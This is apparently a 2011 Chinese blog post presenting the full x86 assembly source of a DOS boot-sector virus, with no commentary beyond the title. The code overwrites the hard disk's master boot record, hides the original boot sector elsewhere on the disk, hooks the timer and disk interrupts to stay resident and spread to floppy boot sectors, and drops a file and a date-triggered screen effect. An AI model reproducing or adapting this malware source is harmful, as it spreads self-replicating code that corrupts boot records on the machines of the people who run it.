DOS环境下的一个引导型病毒

CSEG SEGMENT ASSUME CS:CSEG BEGIN: MOV AX,CS CMP AX,0 JZ START JMP FILE ;********************************** DATA DATE DB 00H PZ DB 77H TIME DW 200H JMPA DW 7C00H DW 0000H JMPN DW OFFSET NEXT DW 0020H FN DB 'PLAY.COM',0 ;************************************ START: XOR AX,AX MOV DS,AX MOV SS,AX MOV ES,AX MOV SP,7C00H MOV AX,DS:[20H] ;SAVE INT 8H MOV DS:[180H],AX MOV AX,DS:[22H] MOV DS:[182H],AX MOV SI,SP MOV DI,0200H MOV CX,0200H CLD REP MOVSB MOV BX,OFFSET JMPN+7C00H JMP DWORD PTR CS:[BX] NEXT: MOV AX,OFFSET NEW08 ;MODI INT 8H MOV DS:[20H],AX MOV AX,0020H MOV DS:[22H],AX MOV BX,0600H MOV AX,0201H MOV CX,0001H MOV DX,0080H INT 13H CMP BYTE PTR ES:[PZ+0600H],077H JZ NC MOV AX,0301H MOV CX,0017H MOV DX,0080H INT 13H MOV SI,0200H MOV DI,0600H MOV CX,0200H CLD REP MOVSB MOV AX,0301H MOV CX,0001H MOV DX,0080H INT 13H NC: MOV BX,7C00H MOV AX,0201H MOV CX,0017H MOV DX,0080H INT 13H MOV AH,04H INT 1AH MOV CS:[DATE],DL MOV BX,OFFSET JMPA JMP DWORD PTR CS:[BX] ;***********************************RUN HD BOOTER PRG NEW08: PUSH AX PUSH DS DEC CS:[TIME] JNZ I08 XOR AX,AX MOV DS,AX MOV AX,DS:[4CH] MOV DS:[184H],AX MOV AX,DS:[4EH] MOV DS:[186H],AX MOV AX,OFFSET GR ;MODI INT 8H MOV DS:[20H],AX MOV AX,OFFSET NEW13 MOV DS:[4CH],AX MOV AX,OFFSET NEWF MOV DS:[94H],AX MOV AX,0020H MOV DS:[22H],AX MOV DS:[4EH],AX MOV DS:[96H],AX MOV CS:[TIME],200H I08: POP DS POP AX INT 60H IRET ;*************************************** NEW13: CMP AH,02H JZ CNE CMP AH,03H JNZ I13 CMP DL,00H JNZ CNE PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES PUSH CS POP ES MOV AX,0301H XOR BX,BX MOV CX,0001H MOV DX,BX INT 61H POP ES POP DX POP CX POP BX POP AX JMP I13 CNE: CMP DX,0080H JNZ I13 CMP CX,0001H JNZ I13 MOV CX,0017H I13: INT 61H IRET ;******************************************* NEWF: PUSH CS POP DS MOV DX,OFFSET FN MOV CX,00000001B MOV AH,3CH INT 21H MOV BX,AX MOV AH,40H MOV CX,400H XOR DX,DX INT 21H MOV AH,3EH INT 21H MOV AX,0003H INT 10H JMP NCF GR: PUSH AX PUSH BX PUSH CX MOV AX,0900H MOV CX,0001H CMP CS:[DATE],15H JZ GR1 MOV BX,111B GR1: INT 10H NG: POP CX POP BX POP AX INT 60H IRET ;************************************ FILE: PUSH CS POP ES XOR AX,AX MOV DS,AX CMP BYTE PTR DS:[200H+PZ],77H JZ NCF MOV AH,77H MOV DS:[200H+PZ],AH MOV BX,0300H MOV AX,0201H MOV CX,0001H MOV DX,0080H INT 13H MOV AX,0301H MOV CX,0017H MOV DX,0080H INT 13H PUSH CS POP DS MOV SI,0100H MOV DI,BX MOV CX,01B0H ;CX 1B0H CLD REP MOVSB MOV AX,0301H MOV CX,0001H MOV DX,0080H INT 13H NCF: MOV AH,4CH INT 21H CSEG ENDS END BEGIN
posted @ 2011-08-05 11:09  Mr.Jim  阅读(181)  评论(0编辑  收藏  举报